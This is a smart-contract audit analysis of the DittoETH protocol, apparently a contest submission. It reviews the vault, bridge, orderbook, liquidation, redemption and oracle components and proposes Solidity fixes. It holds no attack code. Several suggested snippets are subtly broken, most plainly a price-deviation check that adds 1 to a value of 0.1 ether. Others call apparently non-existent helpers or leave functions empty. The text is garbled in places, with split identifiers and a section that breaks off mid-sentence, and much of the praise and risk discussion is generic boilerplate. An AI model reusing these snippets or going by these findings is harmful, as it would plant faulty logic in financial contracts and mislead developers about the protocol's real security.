Before conducting the audit, it was important to review any publicly known issues or vulnerabilities associated with the DittoETH protocol on the README. This involved examining the project’s GitHub repository, issue tracker, and any relevant public forums or communication channels. By considering publicly known issues, the audit could prioritize the review of potentially affected areas and ensure that known vulnerabilities were adequately addressed. I also explored Solodit for similar protocols to understand what types of bugs are usually occurs on these types of protocol.
Testing
Testing played a crucial role in the audit process of DittoETH. The protocol’s codebase included an extensive test suite. The test suite covered various scenarios, edge cases, and potential vulnerabilities, providing valuable insights into the behavior and correctness of the smart contracts. I also wrote some tests to analyse and dive deep into the codebase. During the audit, the existing test cases were reviewed and analyzed to assess their comprehensiveness and effectiveness in detecting potential issues. Additional test cases were developed to further explore edge cases, boundary conditions, and specific attack vectors. The tests were executed using the Foundry framework, which provided a robust and efficient testing environment. The test coverage was examined to ensure that all critical functionalities and code paths were adequately tested. The tests proved to be highly valuable in understanding the functionality of each function and the underlying logic of the protocol. They served as a reliable baseline for verifying the expected behavior of the contracts and identifying any deviations or vulnerabilities.
Slither and Bot races
In addition to manual code review and testing, the audit process also involved the use of static analysis tools like Slither. Slither is a popular open-source static analysis framework for Solidity smart contracts. It helps identify potential vulnerabilities, code quality issues, and best practice violations. The DittoETH codebase was analyzed using various Bots to supplement the manual review process. Slither’s analysis and Bots results provided valuable insights into potential security risks.
Analysis and Testing Insights:
- Robustness of Contracts - The analysis and testing of the DittoETH codebase revealed a high level of robustness in the design and implementation of the smart contracts. The contracts demonstrated a strong adherence to best practices and security principles. The use of well-established libraries, such as SafeMath, and the proper handling of edge cases and error conditions contributed to the overall robustness of the protocol.
- Gas Efficiency - During the audit, attention was also given to the gas efficiency of the DittoETH contracts. The codebase was analyzed for opportunities to optimize gas consumption without compromising functionality or security. The use of efficient data structures, such as mappings and arrays, and the avoidance of unnecessary computations and storage operations were observed in several instances. However, there were a few areas identified where further gas optimizations could be explored, such as reducing the number of storage reads and writes or using more efficient algorithms for certain computations.
- Security Posture - The security posture of the DittoETH protocol was carefully evaluated during the audit. The codebase demonstrated a strong commitment to security, with the implementation of various security measures and best practices. Access control mechanisms were properly implemented to restrict access to critical functions and state variables. The use of modifiers and role-based access control helped ensure that only authorized entities could perform specific actions. The contracts also included appropriate error handling and input validation to prevent unexpected behavior and mitigate potential attack vectors.
- Continuous Improvement - Throughout the audit process, it was evident that the DittoETH team was committed to continuous improvement and receptive to feedback and recommendations. The team actively engaged in discussions and addressed any findings or concerns raised during the audit. They demonstrated a willingness to iterate on the codebase and incorporate suggested improvements to enhance the protocol’s security and functionality. This collaborative approach and openness to feedback contributed to the overall quality and robustness of the DittoETH protocol.
The audit of the DittoETH protocol followed a comprehensive approach that involved a combination of manual code review, testing, static analysis, and consideration of publicly known issues. The codebase was systematically analyzed, focusing on the core functionalities and technical characteristics of each contract. The extensive test suite provided valuable insights into the behavior and correctness of the smart contracts, while tools like Slither complemented the manual review process.
Overview, Concerns, and Recommendations
Vault Management (VaultFacet.sol
)
The VaultFacet
contract is responsible for managing the vaults within the DittoETH protocol. It provides functions for depositing and withdrawing collateral, minting dETH (an internal representation of the deposited collateral), and updating yield rates. The vault management component ensures the secure storage and accounting of collateral assets.
Concerns:
- The
depositAsset
anddepositEth
functions allow users to deposit collateral into the vault. However, there is no explicit check to ensure that the deposited amount is greater than zero. While theaddDeth
function inLibBridgeRouter
does check for a minimum deposit amount, it would be safer to include this check directly in the deposit functions to prevent any potential edge cases. - The
withdrawAsset
function enables users to withdraw their collateral from the vault. The function calls theassessDeth
function inLibBridgeRouter
to determine the amount of dETH that can be withdrawn based on the user’s bridge credit. However, there is no explicit validation to ensure that the returned value fromassessDeth
does not exceed the user’s total dETH balance. While this scenario is unlikely given the current implementation, adding an explicit check would provide an extra layer of safety.
Recommendations:
- Consider adding a check in the
depositAsset
anddepositEth
functions to ensure that the deposited amount is greater than zero. This can help prevent any unintended behavior or potential issues arising from zero-value deposits.
function depositAsset(address bridge, uint88 amount) external nonReentrant {
if (amount == 0) revert Errors.ZeroAmountDeposit();
// Rest of the function logic
}
- To enhance the safety of the
withdrawAsset
function, consider adding an explicit validation to ensure that the amount returned fromassessDeth
does not exceed the user’s total dETH balance. This can be done by comparing the returned value with the user’sethEscrowed
balance in theVaultUser
struct.
function withdrawAsset(address bridge, uint88 dethAmount) external nonReentrant {
// Rest of the function logic
uint88 withdrawableAmount = LibBridgeRouter.assessDeth(vault, bridgePointer, dethAmount, rethBridge, stethBridge);
if (withdrawableAmount > s.vaultUser[vault][msg.sender].ethEscrowed) revert Errors.InsufficientDethBalance();
// Rest of the function logic
}
Bridge Interaction (BridgeRouterFacet.sol
)
The BridgeRouterFacet
contract facilitates the interaction with external LST bridges, such as the rETH and stETH bridges. It allows users to deposit and withdraw LSTs through the bridges, converting them to dETH and vice versa. The bridge interaction component enables seamless integration with different LST protocols and expands the collateral options for users.
Concerns:
- The
deposit
anddepositEth
functions interact with external bridge contracts to deposit LSTs or ETH. While the contract does handle the case when the bridge deposit fails (e.g., by checking the returneddethAmount
), there is no explicit validation of the bridge addresses. If an invalid or malicious bridge address is provided, it could lead to unexpected behavior or loss of funds. - The
withdraw
function calculates the withdrawal fee percentage based on the market premium/discount between rETH and stETH using a 30-minute TWAP. However, there is no check to ensure that the TWAP values are not stale or manipulated. In case of external oracle failures or price manipulations, the withdrawal fee calculation could be affected, potentially leading to incorrect fees being charged.
Recommendations:
- Implement a whitelist mechanism for valid bridge addresses. Before interacting with a bridge contract, verify that the provided bridge address is included in the whitelist. This can help prevent interactions with invalid or malicious bridge contracts.
mapping(address => bool) private validBridges;
function deposit(address bridge, uint88 amount) external nonReentrant {
if (!validBridges[bridge]) revert Errors.InvalidBridge();
// Rest of the function logic
}
- Consider adding additional checks to ensure the integrity of the TWAP values used in the withdrawal fee calculation. This can include verifying that the TWAP values are not stale (e.g., by checking the timestamp) and implementing a price deviation threshold to detect and handle sudden price fluctuations or manipulations.
function withdrawalFeePct(uint256 bridgePointer, address rethBridge, address stethBridge) internal view returns (uint256 fee) {
// Rest of the function logic
uint256 rethTwapTimestamp = OracleLibrary.getTwapTimestamp(VAULT.RETH_WETH);
uint256 stethTwapTimestamp = OracleLibrary.getTwapTimestamp(VAULT.WSTETH_WETH);
if (block.timestamp - rethTwapTimestamp > 30 minutes || block.timestamp - stethTwapTimestamp > 30 minutes) {
revert Errors.StaleTwapData();
}
uint256 priceDeviationThreshold = 0.1 ether; // 10% deviation threshold
if (factorReth > factorSteth * (1 + priceDeviationThreshold) || factorSteth > factorReth * (1 + priceDeviationThreshold)) {
revert Errors.PriceDeviationExceeded();
}
// Rest of the function logic
}
Orderbook (BidOrdersFacet.sol
and ShortOrdersFacet.sol
)
The orderbook component of the DittoETH protocol is implemented through the BidOrdersFacet
and ShortOrdersFacet
contracts. These contracts handle the placement and management of bid and short orders on the orderbook. The orderbook facilitates the matching of buyers and sellers of DittoAssets, enabling efficient price discovery and liquidity.
Concerns:
- The
createBid
andcreateLimitShort
functions allow users to place bid and short orders on the orderbook. While the functions do perform various validations and checks, there is a potential concern regarding the handling of dust amounts. If a bid or short order results in a very small (dust) amount after matching, it could lead to inefficiencies and increased gas costs for subsequent operations on those orders. - The orderbook matching algorithm implemented in the
bidMatchAlgo
andsellMatchAlgo
functions is complex and involves multiple loops and conditions. While the code is well-structured and documented, the complexity of the matching logic increases the potential for unintended behavior or edge cases. Thorough testing and validation of the matching algorithm is crucial to ensure its correctness and robustness.
Recommendations:
- Implement a dust threshold mechanism to handle small order amounts. If the remaining amount of a bid or short order falls below a certain threshold after matching, consider automatically canceling the order and refunding the remaining amount to the user. This can help reduce the number of tiny orders on the orderbook and improve overall efficiency.
uint256 constant DUST_THRESHOLD = 1e15; // Adjust the threshold as needed
function bidMatchAlgo(/* ... */) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
// Rest of the function logic
if (incomingBid.ercAmount < DUST_THRESHOLD) {
// Cancel the remaining bid order and refund the user
cancelBid(asset, incomingBid.id);
return (matchTotal.fillEth, 0);
}
// Rest of the function logic
}
- Conduct thorough testing and validation of the orderbook matching algorithm. Develop a comprehensive test suite that covers various scenarios, edge cases, and potential attack vectors. Perform fuzz testing and property-based testing to identify any unintended behavior or vulnerabilities. Consider engaging external auditors or the community to review and validate the matching logic to ensure its correctness and robustness.
Liquidation (PrimaryLiquidationFacet.sol
)
The PrimaryLiquidationFacet
contract enables the liquidation of undercollateralized short positions. It allows liquidators to identify and liquidate positions that fall below the required collateralization ratio, helping to maintain the stability and solvency of the DittoETH protocol.
Concerns:
- The
liquidate
function performs the liquidation of undercollateralized short positions. During the liquidation process, the contract calculates the liquidation penalty and the caller’s fee based on thepenaltyCR
andcallerFeePct
values, respectively. However, there is no explicit check to ensure that these values are within reasonable ranges. If the penalty or caller fee percentages are set too high, it could discourage liquidations and negatively impact the protocol’s stability. - The liquidation process involves the transfer of collateral and fees between the liquidated short position, the liquidator, and the TAPP (Treasury Asset Protection Pool). While the contract does handle various scenarios and edge cases, there is a potential concern regarding the accuracy and correctness of the accounting logic. Any discrepancies or errors in the accounting could lead to incorrect distributions of collateral and fees.
Recommendations:
- Implement safeguards and validations for the
penaltyCR
andcallerFeePct
values used in the liquidation process. Ensure that these values are within reasonable ranges and do not exceed certain thresholds. Consider adding checks in the liquidation function to verify that the penalty and caller fee percentages are valid and do not disincentivize liquidations.
function liquidate(/* ... */) external returns (uint88, uint88) {
// Rest of the function logic
uint256 maxPenaltyCR = 0.5 ether; // Maximum penalty collateralization ratio
uint256 maxCallerFeePct = 0.1 ether; // Maximum caller fee percentage
if (m.penaltyCR > maxPenaltyCR) revert Errors.InvalidPenaltyCR();
if (m.callerFeePct > maxCallerFeePct) revert Errors.InvalidCallerFeePct();
// Rest of the function logic
}
- Thoroughly review and audit the accounting logic in the liquidation process. Ensure that the calculations for distributing collateral, fees, and penalties are accurate and consistent. Develop comprehensive test cases to verify the correctness of the accounting under different scenarios, including edge cases and potential rounding errors. Consider using formal verification techniques or engaging external auditors to validate the accounting logic and identify any discrepancies or vulnerabilities.
Redemption (RedemptionFacet.sol
)
The RedemptionFacet
contract enables DittoAsset
holders to redeem their assets for the underlying collateral. It provides functionalities for proposing redemptions, disputing redemptions, and claiming the redeemed collateral. The redemption component ensures the convertibility and stability of DittoAssets
.
Concerns:
- The
proposeRedemption
function allows users to propose a set of short positions for redemption. The function processes the proposed positions and updates the collateral and debt balances accordingly. However, there is a potential concern regarding the gas cost of this function, especially if a large number of positions are proposed in a single transaction. Processing a large redemption proposal could exceed the block gas limit, making it infeasible to execute. - The redemption process involves a dispute period during which other users can challenge the proposed redemptions. The dispute logic implemented in the
disputeRedemption
function relies on the accuracy and correctness of the provided dispute data. If the dispute data is maliciously crafted or incorrect, it could lead to invalid disputes and potentially disrupt the redemption process.
Recommendations:
- Implement pagination or batching mechanisms for the redemption proposal process. Instead of allowing users to propose a large number of positions in a single transaction, consider limiting the number of positions per proposal and enabling users to submit multiple proposals incrementally. This can help mitigate the gas cost concerns and ensure that redemption proposals can be processed within the block gas limit.
uint256 constant MAX_POSITIONS_PER_PROPOSAL = 100; // Adjust the limit as needed
function proposeRedemption(/* ... */) external {
// Rest of the function logic
if (proposalInput.length > MAX_POSITIONS_PER_PROPOSAL) revert Errors.TooManyPositionsInProposal();
// Rest of the function logic
}
- Implement robust validation and error handling mechanisms in the
disputeRedemption
function to ensure the integrity of the dispute process. Verify the authenticity and correctness of the provided dispute data before processing a dispute. Consider implementing additional checks and safeguards to prevent malicious or invalid disputes from disrupting the redemption process.
function disputeRedemption(/* ... */) external {
// Rest of the function logic
if (!isValidDisputeData(disputeData)) revert Errors.InvalidDisputeData();
// Rest of the function logic
}
function isValidDisputeData(bytes memory disputeData) internal pure returns (bool) {
// Implement logic to validate the structure and contents of the dispute data
// Return true if the dispute data is valid, false otherwise
}
Additionally, consider implementing a reputation system or staking mechanism for disputers to discourage frivolous or malicious disputes. Require disputers to stake a certain amount of tokens, which can be slashed if their disputes are found to be invalid or malicious. This can help maintain the integrity of the redemption process and deter bad actors from disrupting it.
The DittoETH protocol demonstrates a well-designed and thoughtfully implemented architecture for enabling the minting, trading, and redemption of pegged assets. The codebase exhibits a strong commitment to security, modularity, and extensibility. However, as with any complex system, there are certain areas that require careful consideration and additional safeguards to ensure the protocol’s robustness and reliability.
The concerns and recommendations highlighted in this overview aim to address potential vulnerabilities, optimize gas efficiency, and enhance the overall security and usability of the DittoETH protocol. Implementing additional validations, safeguards, and error handling mechanisms can help mitigate risks and ensure the smooth operation of the protocol.
It is crucial to conduct thorough fuzz and invariant testing, auditing, and validation of the codebase, especially for critical components such as the orderbook matching algorithm and the liquidation process. Engaging the community, external auditors, and leveraging formal verification techniques can provide additional assurance and help identify any potential issues or vulnerabilities.
Key Components and Analysis of DittoETH
1. Vault Management
The vault management component, implemented in the VaultFacet
contract, plays a crucial role in the DittoETH protocol by ensuring the secure storage and accounting of collateral assets. It provides functions for depositing and withdrawing collateral, minting dETH (an internal representation of the deposited collateral), and updating yield rates.
One of the key strengths of the vault management system is its ability to handle multiple types of collateral, including LSTs (Liquid Staking Tokens) and ETH. The depositAsset
and depositEth
functions allow users to seamlessly deposit their collateral into the vault, while the withdrawAsset
function enables them to withdraw their collateral when needed.
The vault management component maintains accurate accounting of the deposited collateral through the use of the VaultUser
struct, which keeps track of each user’s dETH balance. The addDeth
function in the LibBridgeRouter
library ensures that the deposited collateral is properly credited to the user’s account and updates the vault’s total dETH balance.
To ensure the security and integrity of the collateral, the vault management system incorporates various checks and validations. For example, the withdrawAsset
function verifies that the user has sufficient dETH balance before allowing a withdrawal and updates the user’s balance accordingly.
Overall, the vault management component provides a robust and flexible foundation for the DittoETH protocol, enabling users to securely deposit and withdraw their collateral while maintaining accurate accounting and yield calculations.
Note: to view the provided image, please see the original submission here.
2. Bridge Interaction
The bridge interaction component, implemented in the BridgeRouterFacet
contract, is responsible for facilitating the integration of external LST bridges into the DittoETH protocol. It allows users to deposit and withdraw LSTs through supported bridges, such as the rETH and stETH bridges, and seamlessly converts them to dETH and vice versa.
The deposit
and depositEth
functions in the BridgeRouterFacet
contract enable users to deposit LSTs or ETH through the specified bridge. The contract interacts with the corresponding bridge contract to initiate the deposit process and converts the deposited assets into dETH, which is then credited to the user’s account.
Similarly, the withdraw
function allows users to withdraw their LSTs from the protocol by specifying the bridge and the amount of dETH to be withdrawn. The contract communicates with the bridge contract to facilitate the withdrawal process, converting the dETH back into the corresponding LSTs and transferring them to the user’s wallet.
One of the notable features of the bridge interaction component is the credit system, which handles scenarios where users deposit and withdraw different types of LSTs. When a user deposits LSTs through a specific bridge, they receive a bridge credit associated with that particular LST. The credit is tracked and managed within the BridgeRouterFacet
contract, ensuring that users can only withdraw the LSTs they have previously deposited.
The bridge interaction component also incorporates a withdrawal fee mechanism, which calculates the fee based on the market premium/discount between rETH and stETH using a 30-minute TWAP (Time-Weighted Average Price). This fee serves to prevent arbitrage opportunities and ensure fair pricing for LST withdrawals.
Overall, the bridge interaction component enhances the flexibility and interoperability of the DittoETH protocol by enabling seamless integration with external LST bridges. It provides users with a convenient way to deposit and withdraw different types of LSTs while maintaining accurate accounting and credit tracking.
Note: to view the provided image, please see the original submission here.
3. Orderbook
The orderbook component, implemented in the BidOrdersFacet
and ShortOrdersFacet
contracts, is a critical part of the DittoETH protocol as it facilitates the matching of buyers and sellers of DittoAssets
. It provides a decentralized and efficient mechanism for price discovery and liquidity provision.
The BidOrdersFacet
contract handles the placement and management of bid orders on the orderbook. Users can place bids by specifying the desired DittoAsset
, the price they are willing to pay, and the amount of dETH collateral they wish to use. The contract validates the input parameters, checks the user’s available dETH balance, and creates a new bid order on the orderbook.
Similarly, the ShortOrdersFacet
contract manages the creation and matching of short orders on the orderbook. Shorters can place asks by specifying the DittoAsset
they want to mint and sell, the price they are willing to sell at, and the amount of DittoAssets
they wish to create. The contract verifies the shorter’s collateral adequacy, ensures compliance with the protocol’s collateralization requirements, and creates a new short order on the orderbook.
The orderbook component employs a sophisticated matching algorithm to efficiently match bid and short orders. The bidMatchAlgo
and sellMatchAlgo
functions traverse the orderbook to find the best matching counterparty based on price, quantity, and order type. When a match is found, the contracts execute the trade, transferring the DittoAssets
from the shorter to the bidder and the dETH collateral from the bidder to the shorter.
To optimize gas costs and improve performance, the orderbook utilizes a hint system, where users can provide hints in the form of order IDs to indicate the expected position of their order in the orderbook. These hints help the contracts quickly locate the appropriate position for new orders, reducing the number of iterations required for matching.
The orderbook component also handles partial fills and order cancellations. If an order is only partially filled, the remaining quantity is updated, and the order remains active on the orderbook for future matches. Users have the flexibility to cancel their outstanding orders, which removes them from the orderbook and releases the associated collateral.
Note: to view the provided image, please see the original submission here.
4. Liquidation
The liquidation component, implemented in the PrimaryLiquidationFacet
contract, is essential for maintaining the stability and solvency of the DittoETH protocol. It enables the liquidation of undercollateralized short positions, ensuring that the protocol remains adequately collateralized and protects against potential defaults.
When a shorter opens a short position by minting and selling DittoAssets
, they are required to provide sufficient collateral to meet the protocol’s collateralization requirements. The collateralization ratio, defined as the ratio of the collateral value to the minted DittoAsset
value, must be maintained above a certain threshold. If the collateralization ratio falls below the liquidation threshold, the short position becomes eligible for liquidation.
The PrimaryLiquidationFacet
contract allows liquidators to identify and liquidate undercollateralized short positions. Liquidators continuously monitor the collateralization ratios of short positions and can initiate the liquidation process by calling the liquidate
function, specifying the DittoAsset
, the shorter’s address, and the ID of the short position to be liquidated.
Upon receiving a liquidation request, the contract verifies the eligibility of the short position for liquidation by calculating the current collateralization ratio based on the latest price information from the oracle. If the short position is indeed undercollateralized, the liquidation process proceeds.
During liquidation, the contract forcefully closes the short position by executing a series of steps. It determines the amount of DittoAssets
that need to be repurchased to bring the position back to a safe collateralization level. The contract then places a forced bid on the orderbook to buy back the necessary DittoAssets
using the shorter’s collateral. If the forced bid is successful and the required DittoAssets
are acquired, the contract burns the repurchased DittoAssets
, effectively reducing the supply and stabilizing the collateralization ratio.
The liquidation process also involves the distribution of liquidation penalties and incentives. The shorter whose position is liquidated incurs a liquidation penalty, which is a percentage of their collateral that is forfeited. This penalty serves as a deterrent against reckless borrowing and encourages responsible collateral management. On the other hand, liquidators who successfully liquidate undercollateralized positions are rewarded with a portion of the liquidation penalty as an incentive for their efforts in maintaining the protocol’s stability.
Note: to view the provided image, please see the original submission here.
5. Redemption
The redemption component, implemented in the RedemptionFacet
contract, enables DittoAsset
holders to redeem their assets for the underlying collateral. It provides a mechanism for users to exit their positions and retrieve the value locked within the protocol, ensuring the convertibility and stability of DittoAssets
.
The redemption process begins with a user proposing a set of short positions for redemption by calling the proposeRedemption
function. The user specifies the DittoAsset
, the proposed redemption amount, and the maximum redemption fee they are willing to pay. The contract validates the proposal, checks the user’s DittoAsset
balance, and verifies that the proposed positions meet the redemption criteria.
Once a redemption proposal is submitted, it enters a dispute period during which other users can challenge the proposed redemptions. The dispute mechanism, implemented in the disputeRedemption
function, allows users to provide evidence and dispute the validity of the proposed redemptions. If a dispute is successful, the challenged positions are removed from the redemption proposal, and the remaining positions proceed to the redemption process.
After the dispute period has passed, the redeemer can claim the redeemed collateral by calling the claimRedemption
function. The contract verifies that the dispute period has elapsed and processes the approved redemption positions. It calculates the corresponding amount of collateral to be released based on the redemption rate and burns the redeemed DittoAssets
, effectively removing them from circulation.
The redemption component also includes a mechanism for shorters to claim any remaining collateral from their redeemed positions. If a shorter’s position is fully redeemed and the redeemer fails to claim the collateral, the shorter can call the claimRemainingCollateral
function to retrieve their remaining collateral.
To ensure fair pricing and prevent abuse, the redemption process incorporates a dynamic redemption fee mechanism. The fee is calculated based on factors such as the total collateral redeemed, the redemption amount, and the time elapsed since the last redemption. The fee serves to discourage excessive redemptions and maintain the stability of the DittoAsset
ecosystem.
Note: to view the provided image, please see the original submission here.
6. Price Oracles
The DittoETH protocol relies on accurate and reliable price oracles to determine the value of assets and ensure the proper functioning of various components, such as collateralization checks, liquidations, and redemptions. The price oracle component is implemented in the LibOracle
library and utilizes both Chainlink price feeds and Uniswap V3 TWAPs (Time-Weighted Average Prices).
The getOraclePrice
function in the LibOracle
library is responsible for retrieving the price of an asset from the configured oracle. It supports two types of oracles: the base oracle (e.g., ETH/USD) and asset-specific oracles (e.g., BTC/ETH). The function first checks the availability and validity of the price data from the primary oracle (Chainlink). If the primary oracle price is unavailable or outdated, it falls back to using the TWAP price from Uniswap V3.
The oracle component includes circuit breaker mechanisms to handle situations where the oracle price deviates significantly from the protocol’s stored price or if the price data is stale. The baseOracleCircuitBreaker
function compares the Chainlink price with the protocol’s stored price and the TWAP price. If the deviation exceeds a certain threshold (e.g., 50%), it falls back to using the TWAP price to ensure the integrity of the price data.
The twapCircuitBreaker
function is used as a fallback mechanism when the primary oracle price is unavailable or invalid. It retrieves the TWAP price from Uniswap V3 based on a specified time interval (e.g., 30 minutes) and verifies the liquidity of the trading pair to ensure the reliability of the price data.
The price oracle component also includes functions for setting and retrieving the stored oracle price and timestamp. The setPriceAndTime
function allows the protocol to update the stored price and timestamp, while the getPrice
and getTime
functions provide access to the stored values.
Note: to view the provided image, please see the original submission here.
7. Access Control and Permissions
The DittoETH protocol implements a robust access control and permissions system to ensure the security and integrity of the platform. The protocol follows the principle of least privilege, granting specific roles and permissions to different entities based on their responsibilities and requirements.
The access control mechanism is primarily implemented through the use of modifiers and role-based checks within the smart contracts. The Modifiers
contract defines a set of modifiers that restrict access to certain functions based on the caller’s role or privileges. For example, the onlyDAO
modifier ensures that only the designated DAO (Decentralized Autonomous Organization) address can execute specific functions, such as
Code Weakspots and Complexity
1. Vault Management (VaultFacet.sol
)
Potential Weakness: The depositAsset
and depositEth
functions allow users to deposit any amount of collateral, including zero amounts. While the addDeth
function in LibBridgeRouter
does check for a minimum deposit amount, allowing zero deposits in the VaultFacet
could lead to unnecessary transactions and potential confusion for users.
Example Scenario: A user accidentally calls the depositAsset
function with an amount of zero. Although the transaction will not have any effect on the user’s balance, it will still consume gas and clutter the transaction history.
Complexity: The vault management component interacts with multiple other contracts and libraries, such as LibBridgeRouter
and LibVault
, which adds complexity to the overall system. Ensuring the correctness and security of these interactions requires careful auditing and testing.
2. Bridge Interaction (BridgeRouterFacet.sol
)
Potential Weakness: The deposit
and depositEth
functions rely on the addDeth
function in LibBridgeRouter
to update the user’s balance and the vault’s total dETH. However, there is no explicit validation to ensure that the addDeth
function executed successfully. If the addDeth
function fails silently, it could lead to inconsistencies in the user’s balance and the vault’s total dETH.
Example Scenario: If the addDeth
function encounters an error or fails to update the user’s balance correctly, the user’s deposit may not be properly credited, leading to a loss of funds or incorrect accounting.
Complexity: The bridge interaction component involves complex logic for handling different types of collateral (LSTs and ETH) and interacting with external bridge contracts. The withdraw
function, in particular, has a significant level of complexity due to the various checks and calculations involved, such as assessing the user’s bridge credit and calculating withdrawal fees based on market prices.
3. Orderbook (BidOrdersFacet.sol
and ShortOrdersFacet.sol
)
Potential Weakness: The orderbook matching algorithm implemented in the bidMatchAlgo
and sellMatchAlgo
functions is complex and involves multiple loops and conditions. This complexity increases the potential for errors or unintended behavior, especially when dealing with edge cases or extreme market conditions.
Example Scenario: If there is a bug in the matching algorithm that causes incorrect order matching or settlement, it could lead to financial losses for users or even exploitation by malicious actors.
Complexity: The orderbook component is one of the most complex parts of the DittoETH protocol. It involves intricate logic for order placement, matching, and settlement, as well as the management of the underlying data structures. The use of a hint system to optimize gas costs and performance adds another layer of complexity to the orderbook implementation.
4. Liquidation (PrimaryLiquidationFacet.sol
)
Potential Weakness: The liquidation process relies on the accuracy and reliability of the price oracle to determine the collateralization ratio of short positions. If the price oracle is manipulated or provides incorrect data, it could lead to improper liquidations or allow undercollateralized positions to remain open.
Example Scenario: An attacker manipulates the price oracle to falsely report a lower price for a collateral asset. This manipulation could cause the liquidation threshold to be breached, triggering unnecessary liquidations and causing financial losses for shorters.
Complexity: The liquidation component involves complex calculations and interactions with multiple parts of the protocol, such as the orderbook and the Treasury Asset Protection Pool (TAPP). The liquidate
function has to handle various scenarios, such as calculating liquidation penalties, placing forced bids on the orderbook, and distributing incentives to liquidators. This complexity makes the liquidation process prone to errors and requires thorough testing and auditing.
5. Redemption (RedemptionFacet.sol
)
Potential Weakness: The redemption process allows users to propose a set of short positions for redemption, which can be disputed by other users during a specified dispute period. However, the dispute mechanism relies on the accuracy and honesty of the disputers. If a malicious user submits false or fabricated evidence to dispute a legitimate redemption proposal, it could delay or prevent the redemption process.
Example Scenario: A malicious user deliberately submits invalid dispute evidence to challenge a valid redemption proposal. This action could cause the redeemer to lose their opportunity to redeem their assets and potentially incur financial losses.
Complexity: The redemption component involves a multi-step process that includes proposal submission, dispute handling, and claim processing. The complexity lies in managing the state transitions, handling disputes, and ensuring the correct distribution of collateral and burning of redeemed DittoAssets
. The redemption fee calculation also adds complexity, as it takes into account various factors such as the total collateral redeemed and the time elapsed since the last redemption.
6. Price Oracles (LibOracle.sol
)
Potential Weakness: The price oracle component relies on external data sources, such as Chainlink price feeds and Uniswap V3 TWAPs, to provide accurate and up-to-date price information. However, if these external data sources are compromised, manipulated, or experience downtime, it could lead to incorrect price data being used by the protocol, resulting in improper liquidations, redemptions, or other critical operations.
Example Scenario: If the Chainlink price feed for an asset is manipulated to report an artificially low price, it could trigger unnecessary liquidations of short positions, causing financial losses for shorters.
Complexity: The price oracle component has to handle various scenarios and fallback mechanisms to ensure the availability and reliability of price data. The getOraclePrice
function has to navigate through different oracle types (base oracle and asset-specific oracles), handle circuit breakers, and fallback to TWAP prices when necessary. This complexity increases the potential for errors and requires careful testing and monitoring.
7. Access Control and Permissions (Modifiers.sol
)
Potential Weakness: The access control and permissions system relies on the correct configuration and management of roles and privileges. If the roles are not properly assigned or if there are vulnerabilities in the access control mechanisms, it could lead to unauthorized access to critical functions or sensitive data.
Example Scenario: If the DAO role is accidentally assigned to an untrusted address, it could allow that address to execute privileged functions, such as modifying protocol parameters or withdrawing funds from the TAPP.
Complexity: The access control and permissions system is implemented using modifiers and role-based checks scattered throughout the codebase. While this approach provides flexibility and granularity, it also increases the complexity of the system and makes it harder to reason about the overall security posture. Ensuring the correctness and consistency of access control requires careful auditing and testing.
8. Yield Management (LibVault.sol
)
Potential Weakness: The yield management component calculates and distributes the dETH yield based on the vault’s total collateral and the elapsed time since the last yield update. However, if the yield calculation formula is incorrect or if there are rounding errors, it could lead to incorrect yield distribution or potential exploits.
Example Scenario: If the yield calculation formula has a vulnerability that allows an attacker to manipulate the yield rate, they could potentially earn more yield than intended, leading to an unfair distribution of rewards.
Complexity: The yield management component involves complex mathematical calculations and interactions with other parts of the protocol, such as the vault and the dETH token. The updateYield
function has to handle various edge cases, such as when the vault’s collateral is zero or when there is a significant time gap since the last yield update. This complexity increases the potential for errors and requires thorough testing and auditing.
9. Short Record Management (LibShortRecord.sol
)
Potential Weakness: The short record management component is responsible for creating, updating, and deleting short records, which represent a user’s short position. However, if there are bugs or inconsistencies in the short record management logic, it could lead to incorrect accounting of short positions or potential exploits.
Example Scenario: If the fillShortRecord
function has a bug that allows a user to increase their collateral without increasing their debt proportionally, it could lead to an undercollateralized short position and potential loss of funds for the protocol.
Complexity: The short record management component interacts with various other parts of the protocol, such as the orderbook, the liquidation component, and the vault. It has to handle complex calculations and state transitions, such as updating the ercDebtRate and dethYieldRate, and ensuring the consistency of short records across different operations. This complexity increases the potential for errors and requires thorough testing and auditing.
10. Treasury Asset Protection Pool (TAPP)
Potential Weakness: The TAPP is a critical component of the DittoETH protocol that acts as a safety net to absorb potential losses and ensure the stability of the system. However, if the TAPP is not adequately funded or if there are vulnerabilities in the TAPP management logic, it could lead to insufficient protection against black swan events or potential exploits.
Example Scenario: If the TAPP is drained due to a vulnerability or an unexpected market event, it may not have enough funds to cover the losses incurred by the protocol, leading to a loss of confidence and potential collapse of the system.
Complexity: The TAPP involves complex interactions with various components of the protocol, such as the liquidation process, the redemption process, and the yield management system. It requires careful management of funds, accurate accounting, and robust security measures to ensure its effectiveness. The complexity of the TAPP increases the potential for errors and vulnerabilities and requires thorough testing and auditing.
11. Error Handling and Exceptions (Errors.sol
)
Potential Weakness: The Errors.sol
contract defines a set of custom error types used throughout the DittoETH codebase. However, if the error handling and exception mechanisms are not properly implemented or if there are inconsistencies in error reporting, it could lead to incorrect error messages or potential exploits.
Example Scenario: If an error condition is not properly checked or if the wrong error type is used, it could lead to misleading error messages or even allow an attacker to bypass certain validations and exploit the system.
Complexity: The error handling and exception mechanism is spread across the entire codebase, with different contracts and functions using custom error types defined in the Errors.sol
contract. Ensuring the consistency and correctness of error handling requires careful auditing and testing of all the contracts and functions that use these error types.
12. Event Logging (Events.sol
)
Potential Weakness: The Events.sol
contract defines a set of event types used for logging important actions and state changes in the DittoETH protocol. However, if the event logging is not comprehensive or if there are missing events for critical actions, it could hinder the ability to properly monitor and audit the system.
Example Scenario: If a critical action, such as a liquidation or a redemption, is not properly logged with the relevant event, it could make it difficult to track and investigate any issues or discrepancies in the system.
Complexity: The event logging mechanism is spread across the entire codebase, with different contracts and functions emitting events defined in the Events.sol
contract. Ensuring the completeness and accuracy of event logging requires careful auditing and testing of all the contracts and functions that emit these events.
It’s important to note that the weaknesses and complexities mentioned above are potential areas of concern and may not necessarily represent actual vulnerabilities or exploits. However, they highlight the need for thorough testing, auditing, and continuous monitoring of the DittoETH protocol to ensure its security, reliability, and robustness.
Risks Related to the DittoETH Project
1. Centralization Risk
The DittoETH protocol aims to be a decentralized platform for minting and trading pegged assets. However, there are certain aspects of the protocol that may introduce centralization risks.
